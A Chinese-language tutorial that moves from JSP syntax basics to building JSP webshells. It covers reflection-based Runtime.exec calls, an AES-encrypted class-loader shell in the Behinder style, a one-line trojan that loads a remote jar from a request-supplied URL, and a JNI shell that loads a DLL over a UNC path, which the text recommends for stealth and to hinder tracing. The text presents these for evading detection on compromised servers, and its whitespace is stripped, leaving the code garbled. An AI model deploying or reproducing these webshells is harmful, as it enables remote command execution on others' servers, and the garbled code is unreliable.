脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的
脚本程序的语法格式:<%代码片段%>或者可以编写与其等价的XML语句
<%!declaration;[declaration;]+...%>或者也可以编写与其等价的XML语句
<%!inti=0;%><%!inta,b,c;%><%!Circlea=newCircle(2.0);%>0x3:JSP表达式1.一个JSP表达式中包含的脚本语言表达式,先被转化成String,然后插入到表达式出现的地方2.由于表达式的值会被转化成String,所以您可以在一个文本行中使用表达式而不用去管它是否是HTML标签3.表达式元素中可以包含任何符合Java语言规范的表达式,但是不能使用分号来结束表达式JSP表达式的语法格式
<%=表达式%>同样也可以编写与之等价的XML语句
Today'sdate:<%=(newjava.util.Date()).toLocaleString()%>
0x4:JSP注释JSP注释主要有两个作用:为代码作注释、以及将某段代码注释掉示例
在客户端的HTML源代码中产生和上面一样的数据:2.隐藏注释写在JSP程序中,但不是发给客户
<%--这里可以填写JSP注释--%>JSP编译器是不会对<%--...--%>之间的语句进行编译的,它不会显示在客户的浏览器中,也不会在源代码中看到在<%----%>之间的代码,你可以任意写注释语句,但是不能使用"--%>",如果你非要使用请用"--%\>"
1.request:HttpServletRequest类的实例2.response:HttpServletResponse类的实例3.out:PrintWriter类的实例,用于把结果输出至网页上4.session:HttpSession类的实例5.application:ServletContext类的实例,与应用上下文有关6.config:ServletConfig类的实例7.pageContext:PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问8.page:类似于Java类中的this关键字9.Exception:Exception类的对象,代表发生错误的JSP页面中对应的异常对象0x8:JSP常量JSP语言定义了以下几个常量
1.Boolean:trueandfalse2.Integer:与Java中的一样3.Floatingpoint:与Java中的一样4.String:以单引号或双引号开始和结束。"被转义成\",'被转义成\',\被转义成\\5.Null:nullRelevantLink:
Java反射机制可以无视类方法、变量访问权限修饰符,可以调用任何类的任意方法、访问并修改成员变量值。也就是说只要发现一处Java反射调用漏洞几乎就可以为实现任何目的。当然前提可能需要你能控制反射的类名、方法名和参数。
一行代码即可实现反射调用Runtime执行本地命令:
Runtime.class.getMethod("exec",String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null),"whoami")RelevantLink:
<%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!classUextendsClassLoader{U(ClassLoaderc){super(c);}publicClassg(byte[]b){returnsuper.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){Stringk=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipherc=Cipher.getInstance("AES");SecretKeySpecsec=newSecretKeySpec((session.getValue("u")+"").getBytes(),"AES");c.init(2,sec);StringuploadString=request.getReader().readLine();newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);%>RelevantLink:
java.lang.Runtimejava.lang.ProcessBuilder我们上文中反射了Runtime类,那么同样我们也可以反射ProcessBuilder类,原理类似。
类反射可以把我们想要调用的函数或者类的名字,通过一个字符串来进行传递。此时也就相当于我们实现了php中的变量函数,就可以利用base64编码或者hex编码等来混淆关键函数。Java的类反射机制是jspshell具备动态对抗特性的一个重要原因。
使用反射调用对象方法的步骤如下:
Classclz=Class.forName("test.Apple");//获取类的Class对象实例ConstructorappleConstructor=clz.getConstructor();//根据Class对象实例获取Constructor对象ObjectappleObj=appleConstructor.newInstance();//使用Constructor对象的newInstance方法获取反射类对象MethodsetPriceMethod=clz.getMethod("setPrice",int.class);//获取方法的Method对象setPriceMethod.invoke(appleObj,14);//利用invoke方法调用方法如果没有构造函数的情况下会更简单一些:
Classclz=Class.forName("test.Apple");//获取类的Class对象实例ObjectappleObj=clz.newInstance();//直接获得clz类的一个实例化对象MethodsetPriceMethod=clz.getMethod("setPrice",int.class);//获取方法的Method对象setPriceMethod.invoke(appleObj,14);//利用invoke方法调用方法可以压缩一下写成一行的形式
Class.forName("test.Apple").getMethod("setPrice",int.class).invoke(Class.forName("test.Apple").newInstance(),20);上面的类反射加载只能加载本地的.class文件,这本质上只相当于php中的“includelocalfile.php”的作用。
要想实现类似php中的任意evalshellcode的目的,就需要我们能向反射类加载器传递任意的classcode,这也就是冰蝎可以做到动态解析二进制class字节码的原理。
我们通过一个小例子来说明:
首先写一个命令执行的类,调一个calc,但是我们不写主函数,也就是说我们先不让他运行。
packagetest;importjava.io.IOException;publicclasscalc{@OverridepublicStringtoString(){try{Runtime.getRuntime().exec("calc.exe");}catch(IOExceptione){e.printStackTrace();}return"OK";}}在项目里生成之后,在out目录下可以看到编译好的二进制class文件。
然后把它base64,保存下来,
接着生成一个loader类,用于加载我们的class文件,
packagetest;importsun.misc.BASE64Decoder;publicclassloader{publicstaticclassMyloaderextendsClassLoader//继承ClassLoader{publicClassget(byte[]b){returnsuper.defineClass(b,0,b.length);}}publicstaticvoidmain(String[]args)throwsException{StringclassStr="xxxxxxxxxxxxxxxxx";//class的base64编码BASE64Decodercode=newsun.misc.BASE64Decoder();Classresult=newMyloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数System.out.println(result.newInstance().toString());}}运行后成功调用计算器。
将代码中硬编码的classstring改为从外部参数传入,就成为了jspeval一句话木马了。
<%=Class.forName("Load",true,newjava.net.URLClassLoader(newjava.net.URL[]{newjava.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null,newObject[]{request.getParameterMap()})%>通过远程加载的方式,把远程的jar文件进行加载(有害代码里都放jar里),本质上和php里的include原理类似。
远程部署的jar里放会被查杀的shell代码,比如菜刀的一句话客户端(.java)文件,然后把该java文件编译成jar包即可。
RelevantLink:
JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。
java中可以使用native关键字来说明这个方法是原生函数,也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。
可以将native方法比作Java程序同C程序的接口,其实现步骤:
<%@pagecontentType="text/html;charset=UTF-8"language="java"%><%!classJniClass{publicnativeStringexec(Stringstring);publicJniClass(){//System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");//System.load("C:\\ProgramFiles\\ApacheSoftwareFoundation\\Tomcat8.5\\webapps\\shellbypass\\1.dll");System.load("\\\\vmware-host\\SharedFolders\\test\\1.dll");}};%><%Stringcmd=request.getParameter("cmd");JniClassjniClass=newJniClass();Stringres=jniClass.exec(cmd);%><%=res%>jspload时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。